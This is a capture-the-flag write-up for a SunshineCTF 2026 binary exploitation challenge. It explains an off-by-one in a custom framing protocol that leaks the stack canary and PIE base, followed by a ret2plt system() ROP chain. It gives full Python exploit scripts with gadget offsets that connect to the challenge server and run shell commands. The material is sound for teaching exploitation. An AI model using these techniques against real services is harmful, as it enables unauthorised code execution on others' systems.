$ cat writeup.md…
$ cat writeup.md…
sunshinectf2026
Task: networked x86-64 PIE binary (Full RELRO, canary, NX, CET markers) with a custom punch-card framing protocol; an off-by-one WRITE overwrites the bank length field with the frame checksum byte. Solution: grow the length to enable a stack info-leak (canary + PIE base) and a stack overflow, then ret2plt system() with a command string placed in the binary's .bss request buffer — no libc needed.
Homemaker — nc sunshinectf.games 26008
A networked ELF64 x86-64 service implementing a "punch-card" framing protocol. Mitigations: PIE, Full RELRO, stack canary, NX, and CET markers (SHSTK/IBT) present in the binary. libc is GNU libc 2.35 (Ubuntu 22.04), but no libc is required for the final solve. Goal: read the flag file from the remote working directory (sun{...} format).
Every request/response is wrapped in a frame:
1b 5b <len:BE16> <payload[len]> <cksum> 1b 5c
ESC '[' (1b 5b), suffix ESC '\' (1b 5c).len is big-endian u16, must be non-zero and len + 7 <= 0x800.cksum is a single byte placed after the payload (a common early mistake is to put it before the payload). It is a CRC-8, poly 0x2f, init 0, MSB-first, no reflection:def cksum8(data): h = 0 for b in data: h ^= b for _ in range(8): h = ((h*2) ^ 0x2f) & 0xff if (h & 0x80) else (h*2) & 0xff return h & 0xff
Server replies use the mirror frame 1b 5b <framelen=datalen+1:BE16> <status> <data...> <cksum> 1b 5c.
The dispatcher rejects any opcode other than 1 until unlocked.
1 = unlock: payload = 0x01 + BE32(key), key = 0x1337c35f. On success sets bank.len = 0x100 (256) and count = 1.2 = WRITE into a fixed 256-byte stack "bank" buffer.3 = READ/DUMP: sends back bank.len bytes of the bank buffer.5 = system("/bin/echo -n ''") with a fixed rodata string (proves system works in the environment).The WRITE handler computes n = payload_len - 1, checks n <= bank.len, then copies with an inclusive loop:
for (i = 0; i <= n; i++) bank[i] = src[i]; // copies n+1 bytes
The bank struct is { char buf[0x100]; u16 len; u16 count; }. With n == bank.len == 256, the loop writes bank[256], which is the low byte of the 16-bit len field at +0x100. The extra byte copied is src[256] — the byte sitting right after the payload in the receive buffer, i.e. the frame checksum byte.
By choosing a 256-byte payload whose frame checksum equals 0xFF, the off-by-one sets bank.len low byte to 0xFF, giving bank.len = 0x01FF (511). The high byte stays 0x01.
Growing bank.len turns:
bank.len bytes starting at the bank buffer — leaking the canary (buf+0x108), saved RBP (buf+0x110), and the saved return address (buf+0x118).__stack_chk passes.The function owning the vulnerable bank buffer (the request loop at binary offset 0x1865) is not the outermost frame. It is called by the real main (at 0x1a7f, the function passed to __libc_start_main). Therefore the saved return address at buf+0x118 is binary_base + 0x1a9f (return into real main), not a libc address.
binary_base = leaked_saved_rip - 0x1a9f # page-aligned; verify by re-entering the loop
Misidentifying this as a libc pointer (subtracting a libc offset such as __libc_start_call_main+0x2aa9f) yields a garbage base, and every ret2libc attempt then crashes silently — which is easy to mistake for "CET/shadow-stack enforced". A clean observable control-flow test (return into code that prints, e.g. the loop that re-emits the banner) distinguishes "wrong base" from "CET enforced". Here re-entering the loop reprinted the banner, proving RIP hijack works and CET is NOT enforced on the remote host despite the IBT/SHSTK markers.
No libc needed — ret2 the binary itself:
pop rdi ; ret @ 0x12aa (unaligned gadget inside a cmp-immediate)ret @ 0x101a (stack alignment for system's movaps)system@plt @ 0x10c0 (endbr64; jmp [system GOT @ 0x3fb8]).bss at PIE offset 0x4860; the payload data byte data[0] lands at binary_base + 0x4865. This is the full PIE virtual offset — using 0x865 instead lands in .plt and runs garbage.Steps:
0x1337c35f.0xFF → off-by-one grows bank.len to 0x01FF.buf+0x108), saved RBP (buf+0x110), saved RIP (buf+0x118); compute binary_base = saved_rip - 0x1a9f.binary_base+0x4865 in .bss); fill to 0x100; keep len=0x01FF and count valid at 0x100/0x102; leaked canary at 0x108; leaked saved RBP at 0x110; ROP chain at 0x118: pop_rdi ; (binary_base+0x4865) ; ret ; system@plt.system(cmd).cat flag* returns the flag over the socket.client.py)#!/usr/bin/env python3 import socket, struct def cksum8(data): h = 0 for b in data: h ^= b for _ in range(8): h = ((h*2) ^ 0x2f) & 0xff if (h & 0x80) else (h*2) & 0xff return h & 0xff def frame(payload): L = len(payload) assert L >= 1 and L + 7 <= 0x800 hdr = b'\x1b\x5b' + struct.pack('>H', L) return hdr + payload + bytes([cksum8(payload)]) + b'\x1b\x5c' class Conn: def __init__(self, host, port): self.s = socket.create_connection((host, port), timeout=10) self.buf = b'' def send_frame(self, payload): self.s.sendall(frame(payload)) def recvn(self, n): while len(self.buf) < n: d = self.s.recv(4096) if not d: break self.buf += d r = self.buf[:n]; self.buf = self.buf[n:] return r def read_frame(self): h = self.recvn(4) if len(h) < 4: return None, b'' assert h[0:2] == b'\x1b\x5b', h.hex() L = struct.unpack('>H', h[2:4])[0] rest = self.recvn(L + 3) return rest[0:L], rest[L+1:L+3]
pwn_final.py)#!/usr/bin/env python3 # off-by-one grows bank.len -> leak canary+binary base -> overflow saved RIP -> # ROP: system(cmd_in_bss). binary_base = leaked_saved_rip - 0x1a9f (return into real main). from client import Conn, cksum8 import struct, time, sys, re host = sys.argv[1] if len(sys.argv) > 1 else 'sunshinectf.games' port = int(sys.argv[2]) if len(sys.argv) > 2 else 26008 POP_RDI = 0x12aa RET = 0x101a SYSTEM_PLT = 0x10c0 CMD_BSS = 0x4865 # data[0] of the op2 frame stored in .bss frame buffer SAVED_RIP_OFF_IN_BINARY = 0x1a9f def find_grow(): # 256-byte payload whose frame checksum == 0xFF (off-by-one sets bank.len low byte) b = bytearray(b'A' * 256) for a in range(256): b[254] = a for l in range(256): b[255] = l if cksum8(bytes(b)) == 0xff: return bytes(b) grow = find_grow() CMD = b'cat /flag* flag* /home/*/flag* 2>&1; id 1>&2\x00' c = Conn(host, port) time.sleep(0.3); c.s.recv(8192) c.send_frame(b'\x01' + struct.pack('>I', 0x1337c35f)); c.read_frame() # unlock c.send_frame(b'\x02' + grow); c.read_frame() # grow bank.len -> 0x1ff c.send_frame(b'\x03'); p, _ = c.read_frame(); raw = p[1:] # leak canary = int.from_bytes(raw[0x108:0x110], 'little') saved_rbp = int.from_bytes(raw[0x110:0x118], 'little') saved_rip = int.from_bytes(raw[0x118:0x120], 'little') binb = saved_rip - SAVED_RIP_OFF_IN_BINARY print('[+] binary base :', hex(binb)) print('[+] canary :', hex(canary)) data = bytearray(CMD) data += b'A' * (0x100 - len(data)) data += struct.pack('<H', 0x1ff) + struct.pack('<H', 5) + b'CCCC' # keep len/count valid data += struct.pack('<Q', canary) + struct.pack('<Q', saved_rbp) # 0x108 canary, 0x110 rbp data += struct.pack('<Q', binb + POP_RDI) # 0x118 data += struct.pack('<Q', binb + CMD_BSS) # rdi = cmd string data += struct.pack('<Q', binb + RET) # stack align data += struct.pack('<Q', binb + SYSTEM_PLT) # system(cmd) assert len(data) <= 0x1ff c.send_frame(b'\x02' + bytes(data)); c.read_frame() # overflow write c.s.sendall(b'\x00\x00\x00\x00') # bad frame -> return -> ROP time.sleep(1.5); c.s.settimeout(3); out = b'' try: while True: d = c.s.recv(65536) if not d: break out += d except Exception: pass print(out.decode(errors='replace')) m = re.search(rb'sun\{[^}]*\}', out) if m: print('\n[+] FLAG:', m.group().decode()) # -> sun{REDACTED}
Use this technique when:
ESC '[' / ESC '\') and a per-frame CRC-8 checksum — you must first build a correct client and know exactly where the checksum byte sits (after the payload).n <= len but copies with an inclusive i <= n loop, giving a single-byte overflow into an adjacent length field — the classic off-by-one that lets you enlarge a subsequent read/write window.0xFF.main, not libc; compute the PIE base as leaked_rip - <return offset into main> and verify with an observable control-flow test.checksec shows IBT/SHSTK markers but ret-hijack still needs testing — do not assume CET is enforced; prove RIP control by returning into code that produces output (banner reprint) before concluding shadow-stack enforcement.ret2plt system() with the command string staged in a writable .bss request buffer needs no GOT write and no libc leak.$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar